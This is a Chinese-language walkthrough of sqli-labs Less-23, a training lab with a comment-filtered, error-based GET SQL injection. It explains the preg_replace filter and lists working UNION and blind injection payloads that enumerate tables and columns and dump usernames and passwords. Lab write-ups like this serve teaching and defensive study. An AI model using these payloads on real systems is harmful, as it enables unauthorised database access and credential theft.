Less-23 基于错误的,过滤注释的GET型
判断注入类型:
?id=1 ?id=1’ ?id=1” 发现第二条语句报错:
从这里可以看出是单引号闭合的查询,这里报错还把站点路径爆出来了。
出现了一行文字
翻译:
警告:mysql_fetch_array()期望参数1为资源,布尔值在第38行的C:\ phpStudy \ WWW \ sqli \ Less-23 \ index.php中给出您的SQL语法有误。 检查与您的MySQL服务器版本对应的手册以获取正确的语法,以在第1行的“ 1” LIMIT 0,1’附近使用
我们查看下源代码:
preg_replace() 函数
1 | preg_replace(pattern,replacement,subject[,limit=-1[,&count]]) |
参数 | 描述 |
---|---|
pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
replacement | 用于替换的字符串或字符串数组 |
subject | 要搜索替换的目标字符串或字符串数组 |
limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制) |
count | 可选,为替换执行的次数 |
preg_replace()
函数执行一个正则表达式的搜索和替换,搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
如果subject
是一个数组,preg_replace()
返回一个数组,其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject
被返回,其他情况下返回没有改变的subject
。如果发生错误,返回NULL
。
在这关中,也只是将#
和--
替换成了空字符
。
查找注入点:
?id=-1’ union select 1,2,3 or ‘1’=’1
唯一的回显字段便是username即字段2,这也是唯一的注入点。
暴库:
?id=-1’ union select 1,database(),3 or ‘1’=’1
暴表:
注意:因为这里涉及到where
与or
语句的混合,只能用双注入即CONCAT子查询。
?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3 or ‘1’=’1
暴字段:
?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),3 or ‘1’=’1
暴数据:
?id=-1’ union select 1,(select group_concat(concat_ws(‘-‘,id,username,password)) from users),3 and ‘1’=’1
这里要注意一下,在爆数据的时候,不能在使用and的时候直接查询,必须要用双子注入查询,否则会报错:
*select 1,group_concat(username),3 from users and ‘1’=’1 from和and是不能连在一起用的*
注入方法有很多,对于基于错误的报错型注入,前面我们使用的注入方法这里都可以使用。
比如:
盲注
这里盲注就得使用and,而不能使用or
?id=1’ and left(version(),1)=5 and ‘1’=’1
?id=1’ and left(version(),1)=6 and ‘1’=’1
(PS:and和or同时使用and的优先级高于or,哪怕不考虑优先级也不能使用or,因为 ‘1’=’1’是永真条件,不管前面查询的条件时真假,到最后都会变成 真条件)